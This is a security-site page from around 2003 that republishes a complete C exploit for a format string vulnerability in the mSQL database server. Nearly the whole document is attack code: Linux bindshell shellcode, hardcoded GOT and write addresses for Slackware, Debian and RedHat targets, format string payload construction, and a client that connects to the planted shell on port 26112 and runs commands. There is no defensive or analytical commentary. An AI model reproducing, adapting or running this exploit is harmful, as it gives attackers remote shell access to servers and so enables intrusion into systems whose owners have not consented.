miniSQL (mSQL) version 1.3 remote gid root Exploit

    
 
     * Version TXT Disponible ici *
/*           _ ________            _____                        ______
                              __ ___ ____       /____.------`    /_______.------.___.----`  ___/____ _______
                              _/    \ _   /\   __.  __//   ___/_    ___.  /_\    /_    |     _/
                              ___ ._\    . \\  /__  _____/ _    /     \_  |    /__      |   _| slc | _____ _
                              - -------\______||--._____\---._______//-|__    //-.___|----._____||
                                               / \   /
                                                   \/
                              [*] mSQL < remote gid root exploit    by lucipher & The Itch (netric)
                              ------------------------------------------------------------------------------

                              [*]  Exploits a format string hole in mSQL.

                              [*] Some functions are taken from mSQL's sourcecode

                              Copyright (c) 2003 Netric Security and lucipher
                              All rights reserved.

                              THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
                              WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
                              MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
                              */

                              #include         /* required by fatal() */
                              #include 
                              #include        /* required by fatal() */
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include         /* required by errno */
                              #include        /* required by getopt() */
                              #include 

                              #define PKT_LEN         (128*1024)
                              #define ERR_BUF_LEN     200
                              #define resetError()    bzero(msqlErrMsg,sizeof(msqlErrMsg))
                              #define chopError()     { char *cp; cp = msqlErrMsg+strlen(msqlErrMsg) -1; \
                                if (*cp == '\n') *cp = 0;}

                              #define NET_READ(fd,b,l)        read(fd,b,l)
                              #define NET_WRITE(fd,b,l)       write(fd,b,l)

                              #define SERVER_GONE_ERROR       "server has gone...\n"
                              #define UNKNOWN_ERROR           "foo!"  

                              static char msqlErrMsg[200];
                              static u_char packetBuf[PKT_LEN + 4];
                              static int readTimeout;
                              u_char *packet = NULL;

                              int netReadPacket(int fd);
                              int netWritePacket(int fd);

                              /* bindshell shellcode */
                              char linux_code[78] = /* binds on port 26112 */
                              "\x31\xdb\xf7\xe3\x53\x43\x53"
                              "\x6a\x02\x89\xe1\xb0\x66\x52"
                              "\x50\xcd\x80\x43\x66\x53\x89"
                              "\xe1\x6a\x10\x51\x50\x89\xe1"
                              "\x52\x50\xb0\x66\xcd\x80\x89"
                              "\xe1\xb3\x04\xb0\x66\xcd\x80"
                              "\x43\xb0\x66\xcd\x80\x89\xd9"
                              "\x93\xb0\x3f\xcd\x80\x49\x79"
                              "\xf9\x52\x68\x6e\x2f\x73\x68"
                              "\x68\x2f\x2f\x62\x69\x89\xe3"
                              "\x52\x53\x89\xe1\xb0\x0b\xcd"
                              "\x80";

                              static void intToBuf(cp, val)
                              u_char *cp;
                              int val;
                              {
                              *cp++ = (unsigned int) (val & 0x000000ff);
                              *cp++ = (unsigned int) (val & 0x0000ff00) >> 8;
                              *cp++ = (unsigned int) (val & 0x00ff0000) >> 16;
                              *cp++ = (unsigned int) (val & 0xff000000) >> 24;
                              }

                              static int bufToInt(cp)
                              u_char *cp;
                              {
                              int val;

                              val = 0;
                              val = *cp++;
                              val += ((int) *cp++) << 8;
                              val += ((int) *cp++) << 16;
                              val += ((int) *cp++) << 24;
                              return (val);
                              }

                              int netWritePacket(fd)
                              int fd;
                              {
                              int len, offset, remain, numBytes;

                              len = strlen((char *) packet);
                              intToBuf(packetBuf, len);
                              offset = 0;
                              remain = len + 4;
                              while (remain > 0) {
                              numBytes = NET_WRITE(fd, packetBuf + offset, remain);
                              if (numBytes == -1) {
                              return (-1);
                              }
                              offset += numBytes;
                              remain -= numBytes;
                              }
                              return (0);
                              }

                              int netReadPacket(fd)
                              int fd;
                              {
                              u_char buf[4];
                              int len, remain, offset, numBytes;

                              remain = 4;
                              offset = 0;
                              numBytes = 0;
                              readTimeout = 0;
                              while (remain > 0) {
                              /*
                              ** We can't just set an alarm here as on lots of boxes
                              ** both read and recv are non-interuptable.  So, we
                              ** wait till there something to read before we start
                              ** reading in the server (not the client)
                              */
                              if (!readTimeout) {
                              numBytes = NET_READ(fd, buf + offset, remain);
                              if (numBytes < 0 && errno != EINTR) {
                                fprintf(stderr,
                                        "Socket read on %d for length failed : ",
                                        fd);

                                perror("");
                              }
                              if (numBytes <= 0)
                                return (-1);
                              }
                              if (readTimeout)
                              break;
                              remain -= numBytes;
                              offset += numBytes;

                              }
                              len = bufToInt(buf);
                              if (len > PKT_LEN) {
                              fprintf(stderr, "Packet too large (%d)\n", len);
                              return (-1);
                              }
                              if (len < 0) {
                              fprintf(stderr, "Malformed packet\n");
                              return (-1);
                              }
                              remain = len;
                              offset = 0;
                              while (remain > 0) {
                              numBytes = NET_READ(fd, packet + offset, remain);

                              if (numBytes <= 0) {
                              return (-1);
                              }
                              remain -= numBytes;
                              offset += numBytes;
                              }
                              *(packet + len) = 0;
                              return (len);
                              }

                              int msqlSelectDB(int sock, char *db)
                              {
                              memset(msqlErrMsg, 0x0, sizeof(msqlErrMsg));

                              packet = packetBuf+4;

                              snprintf(packet, PKT_LEN, "%d:%s\n", 2, db);
                              netWritePacket(sock);
                              if (netReadPacket(sock) <= 0) {
                              strcpy(msqlErrMsg, SERVER_GONE_ERROR);
                              return (-1);
                              }
                              if (atoi(packet) == -1) {
                              char *cp;

                              cp = (char *) index(packet, ':');
                              if (cp) {
                              strcpy(msqlErrMsg, cp + 1);
                              chopError();
                              } else {
                              strcpy(msqlErrMsg, UNKNOWN_ERROR);
                              }
                              return (-1);
                              }

                              return (0);
                              }

                              struct target {
                              char *name;                     /* target description */
                              unsigned long writeaddr;        /* mSQL's errMsg + 18 + 8 address */
                              unsigned long smashaddr;        /* strcpy's GOT address */
                              unsigned long pops;             /* number of stack pops */
                              };

                              /* high and low words indexers */
                              enum { hi, lo };

                              /* default values. */
                              struct target targets[] = {
                              /* name                         write      smash       pops */
                              { "SlackWare 8.1 - mSQL 3.0p1", 0x80a169a, 0x080751ec, 113 },
                              { "Debian 3.0 - mSQL 3.0p1", 134879034, 0x08075224, 113 },
                              { "RedHat 8.0 - mSQL 3.0p1", 0x804b778, 0x08074c1c, 115 },
                              { "RedHat 8.0 (II) - mSQL 3.0p1", 0x804b778, 0x08074c1c, 116 },
                              { NULL, 0x0, 0x0, 0 }
                              };

                              void fatal(char *fmt, ...)
                              {
                              char buffer[1024];
                              va_list ap;

                              va_start(ap, fmt);
                              vsnprintf(buffer, sizeof (buffer) - 1, fmt, ap);
                              va_end(ap);

                              fprintf(stderr, "%s", buffer);
                              exit(1);
                              }

                              /* resolve a given hostname */
                              unsigned long tcp_resolv(char *hostname)
                              {
                              struct hostent *he;
                              unsigned long addr;
                              int n;

                              he = gethostbyname(hostname);
                              if (he == NULL) {
                              n = inet_aton(hostname, (struct in_addr *) addr);
                              if (n < 0)
                              fatal("inet_aton: %s\n", strerror(errno));

                              return addr;
                              }

                              return *(unsigned long *) he->h_addr;
                              }

                              /* routine to open a tcp/ip connection */
                              int tcp_connect(char *hostname, int port)
                              {
                              struct sockaddr_in sin;
                              int fd, n;

                              sin.sin_addr.s_addr = tcp_resolv(hostname);
                              sin.sin_family = AF_INET;
                              sin.sin_port = htons(port);

                              fd = socket(AF_INET, SOCK_STREAM, 6);
                              if (fd < 0)
                              return -1;

                              n = connect(fd, (struct sockaddr *) &sin, sizeof (sin));
                              if (n < 0)
                              return -1;

                              return fd;
                              }

                              int msql_login(char *hostname, unsigned short int port)
                              {
                              char buffer[300], *p;
                              int fd, n, opt;

                              fd = tcp_connect(hostname, port);
                              if (fd < 0)
                              fatal("[-] couldn't connect to host %s:%u\n", hostname, port);

                              setsockopt(fd, SOL_SOCKET, SO_KEEPALIVE, (char *) &opt, 4);

                              memset(&buffer, 0x0, sizeof(buffer));
                              n = read(fd, &buffer, sizeof(buffer) - 1);
                              if (n < 0)
                              fatal("[-] could not read socket: %s\n", strerror(errno));

                              p = (char *)&buffer + 4;
                              if (atoi(p) == -1)
                              fatal("[-] bad handshake received.\n");
                              p++;
                              if (*p != ':') p++;
                              p++;
                              if (*p >= '1' && *p <= '3') {
                              /* send buffer size within packet. */
                              buffer[0] = (unsigned int) (5UL & 0x000000ff);
                              buffer[1] = (unsigned int) (5UL & 0x0000ff00) >> 8;
                              buffer[2] = (unsigned int) (5UL & 0x00ff0000) >> 16;
                              buffer[3] = (unsigned int) (5UL & 0xff000000) >> 24;
                              /* sorta like our login. */
                              buffer[4] = 'r';
                              buffer[5] = 'o';
                              buffer[6] = 'o';
                              buffer[7] = 't';
                              buffer[8] = '\n';
                              buffer[9] = '\0';

                              write(fd, buffer, 9);   
                              }

                              n = read(fd, buffer, sizeof(buffer) - 1);
                              if (n < 0)
                              fatal("[-] client failed in handshake.\n");

                              printf("[+] connected to %s -> %u\n", hostname, port);
                              return fd;
                              }

                              void msql_selectdb(int fd, char *database)
                              {
                              unsigned char buffer[300];
                              unsigned int len;

                              len = 117;
                              buffer[0] = (unsigned char)(len & 0x000000ff);
                              buffer[1] = (unsigned char)(len & 0x0000ff00) >> 8;
                              buffer[2] = (unsigned char)(len & 0x00ff0000) >> 16;
                              buffer[3] = (unsigned char)(len & 0xff000000) >> 24;

                              snprintf(&buffer[4], sizeof(buffer) - 1, "2:%s\n", database);
                              len = write(fd, &buffer[0], len);

                              }

                              void shell(int fd)
                              {
                              char buf[512];
                              fd_set rfds;
                              int l;

                              write(fd, "id ; uname -a\n", 14);
                              while (1) {
                              FD_SET(0, &rfds);
                              FD_SET(fd, &rfds);
                              select(fd + 1, &rfds, NULL, NULL, NULL);

                              if (FD_ISSET(0, &rfds)) {
                              l = read(0, buf, sizeof (buf));
                              if (l <= 0) {
                                perror("read user");
                                exit(EXIT_FAILURE);
                              }
                              write(fd, buf, l);
                              }

                              if (FD_ISSET(fd, &rfds)) {
                              l = read(fd, buf, sizeof (buf));
                              if (l == 0) {
                                fatal("connection closed by foreign host.\n");
                              } else if (l < 0) {
                                perror("read remote");
                                exit (EXIT_FAILURE);
                              }
                              write(1, buf, l);
                              }

                              }
                              }

                              void usage(void)
                              {
                              fprintf(stderr, "mSQLexploit\n\n");
                              fprintf(stderr, "  -l\t\tlist available targets.\n");
                              fprintf(stderr, "  -t target\ttarget selection.\n");
                              fprintf(stderr, " *** MANUAL ATTACK ***\n");
                              fprintf(stderr, "  -s [addr]\tsmash address.\n");
                              fprintf(stderr, "  -w [addr]\twrite address.\n");
                              fprintf(stderr, "  -p [num]\tnumber of pops.\n");
                              exit(1);
                              }

                              int main(int argc, char **argv)
                              {
                              struct target manual;
                              struct target *target = NULL;
                              unsigned short port = 0, addr[2];
                              unsigned char split[4];
                              char *hostname, buffer[200];
                              int fd, opt;

                              if (argc <= 1)
                              usage();

                              memset(&manual, 0x00, sizeof(struct target));
                              while ((opt = getopt(argc, argv, "lht:s:w:p:")) != EOF) {
                              switch (opt) {
                              case 't': /* pre-written target selection */
                              target = &targets[atoi(optarg)];
                              break;
                              case 'l': 
                              {
                              int i;
                              /* iterate through the list of targets and display. */
                              for (i = 0; targets[i].name; i++)
                                printf("[%d] %s\n", i, targets[i].name);

                              exit(1);
                              }
                              case 'h':
                              /* print exploit usage information */
                              usage();
                              break; /* never reached */
                              case 's':
                              if (target == NULL)
                                target = &manual;

                              target->name = "Manual Target";
                              target->smashaddr = strtoul(optarg, NULL, 16);
                              break;
                              case 'w':
                              if (target == NULL)
                                target = &manual;

                              target->name = "Manual Target";
                              target->writeaddr = strtoul(optarg, NULL, 16) + 0x1a;
                              break;
                              case 'p':
                              if (target == NULL)
                                target = &manual;
                              target->name = "Manual Target";
                              target->pops = atoi(optarg);
                              }
                              }

                              argc -= optind;
                              argv += optind;

                              if (argc <= 0) {
                              fatal("choose a hostname and optionally a port\n");
                              } else if (argc == 1) {
                              hostname = argv[0];
                              } else {
                              hostname = argv[0];
                              port = atoi(argv[1]) & 0xff;
                              }
                              if (target != NULL) {
                              if (!strncmp(target->name, "Manual", 6))
                              if (!target->smashaddr || !target->writeaddr || 
                              !target->pops)
                                fatal("exploit requires pop count and "
                                "smash, write addresses: use -p and -w and -s "
                                "to set them\n");
                              } else {
                              target = &target[0];
                              }

                              printf("[+] attacking %s -> %u\n", hostname, (port) ? port : 1114);

                              fd = msql_login(hostname, (port) ? port : 1114);

                              printf("[+] name %s\n", target->name);
                              printf("[+] smash %08lx\n", target->smashaddr);
                              printf("[+] write %08lx\n", target->writeaddr);
                              printf("[+] Now building string...\n");

                              memset(&buffer, 0x0, sizeof(buffer));

                              addr[lo] = (target->writeaddr & 0x0000ffff);
                              addr[hi] = (target->writeaddr & 0xffff0000) >> 16;

                              /* split the address */
                              split[0] = (target->smashaddr & 0xff000000) >> 24;
                              split[1] = (target->smashaddr & 0x00ff0000) >> 16;
                              split[2] = (target->smashaddr & 0x0000ff00) >> 8;
                              split[3] = (target->smashaddr & 0x000000ff);

                              /* build the format string */
                              if (addr[hi] < addr[lo])
                              snprintf(buffer, sizeof(buffer),
                                "%c%c%c%c"
                                "%c%c%c%c"

                                "%s"

                                "%%.%du%%%ld$hn"
                                "%%.%du%%%ld$hn",

                                split[3] + 2, split[2], split[1], split[0],
                                split[3], split[2], split[1], split[0],
                                linux_code,
                                addr[hi] - 0x68, target->pops, 
                                addr[lo] - addr[hi], target->pops + 1);
                              else 
                              snprintf(buffer, sizeof(buffer),
                                "%c%c%c%c"
                                "%c%c%c%c"

                                "%s"

                                "%%.%du%%%ld$hn"
                                "%%.%du%%%ld$hn",

                                split[3] + 2, split[2], split[1], split[0],
                                split[3], split[2], split[1], split[0],
                                linux_code,
                                addr[lo] - 0x68, target->pops,
                                addr[hi] - addr[lo], target->pops + 1);

                              printf("[+] Trying to exploit...\n");
                              msqlSelectDB(fd, buffer);
                              switch (opt = fork()) {
                              case 0: 
                              msqlSelectDB(fd, buffer);
                              exit(1);
                              case -1:
                              fatal("[-] failed fork()!\n");
                              default:
                              break;
                              }

                              printf("[+] sleeping...\n");
                              sleep(1);
                              opt = tcp_connect(hostname, 26112);
                              if (opt < 0)
                              fatal("[-] failed! couldn't connect to bindshell!\n");

                              printf("[+] shell!\n");
                              shell(opt);

                              return 0;
                              }

   

   

 Audits de Sécurité & Tests Intrusifs Mailing Listes Advisories  Service Publicitaire

Tous droits réservés © 2002-2004 K-OTiK Security Voir Notice Légale   

actualité informatique  Exploits